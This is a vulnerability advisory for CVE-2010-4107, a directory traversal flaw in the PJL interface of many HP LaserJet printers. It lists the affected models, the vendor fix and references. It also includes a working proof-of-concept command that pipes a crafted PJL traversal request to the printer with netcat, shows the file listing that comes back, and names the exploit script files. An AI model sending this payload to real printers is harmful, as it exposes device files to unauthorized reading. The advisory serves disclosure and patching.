HP Multiple LaserJet Printers PJL Directory Traversal Vulnerability

Bugtraq ID:	44882
Class:	Input Validation Error
CVE:	CVE-2010-4107
Remote:	Yes
Local:	No
Published:	Nov 15 2010 12:00AM
Updated:	May 06 2014 01:11AM
Credit:	Moritz Jodeit, n.runs AG
Vulnerable:	HP LaserJet M9050 MFP 0 HP LaserJet M4345x MFP 0 HP LaserJet M1522n MFP 0 HP LaserJet 9050 MFP 0 HP LaserJet 9000MFP HP LaserJet 9000 HP LaserJet 8150 HP LaserJet 5035 MFP 0 HP LaserJet 4345mfp 0 HP LaserJet 4345 MFP 0 HP LaserJet 4300 HP LaserJet 4200 HP LaserJet 4100MFP HP LaserJet 4100 HP LaserJet 3035 MFP 0 HP LaserJet 5100 Series HP Color LaserJet CM4730 MFP 0 HP Color LaserJet 9500mfp 0 HP Color LaserJet 6040 MFP 0 HP Color LaserJet 4730mfp 0 HP Color LaserJet 4730 MFP 0
Not Vulnerable:

HP Multiple LaserJet Printers PJL Directory Traversal Vulnerability

Multiple HP printers are prone to a directory-traversal vulnerability because the devices' webserver fails to sufficiently sanitize user-supplied input.

Exploiting this issue will allow an attacker to view arbitrary local files within the context of the webserver. Information harvested may aid in launching further attacks.

The following HP printer models are vulnerable:

HP LaserJet MFP printers (all models with Printer Job Language (PJL) support),
HP Color LaserJet MFP printers (all models with Printer Job Language (PJL) support),
LaserJet 4100 series, 4200 series, 4300 series, 5100 series, 8150 series, and 9000 series.

HP Multiple LaserJet Printers PJL Directory Traversal Vulnerability

An attacker can exploit this issue via a browser.

The following example data is available:

$ python -c 'print "\x1b%-12345X () PJL FSDIRLIST NAME=\"0:\\..\\..\\..\\\" ENTRY=1 COUNT=999999\x0d\x0a\x1b%-12345X\x0d\x0a"' | nc 192.168.0.1 9100
@PJL FSDIRLIST NAME="0:\..\..\..\" ENTRY=1
. TYPE=DIR
.. TYPE=DIR
tmp TYPE=DIR
etc TYPE=DIR
xps TYPE=DIR
dsk_ide2a TYPE=DIR
dsk_ColorIQ TYPE=DIR
dsk_CustomIQ TYPE=DIR
bootdev TYPE=DIR
dsk_jdi TYPE=DIR
dsk_jdi_ss TYPE=DIR
dsk_af TYPE=DIR
lrt TYPE=DIR
webServer TYPE=DIR

The following exploits are available:

• /data/vulnerabilities/exploits/44882.rb
• /data/vulnerabilities/exploits/44882-2.rb
• /data/vulnerabilities/exploits/44882.pl

HP Multiple LaserJet Printers PJL Directory Traversal Vulnerability

Solution:
The vendor has released updates; please see the references for more information.

HP Multiple LaserJet Printers PJL Directory Traversal Vulnerability

References:

• Directory Traversal in PJL interface (nruns)
  
• HP Homepage (HP)
  
• HPSBPI02575 SSRT090255 (HP)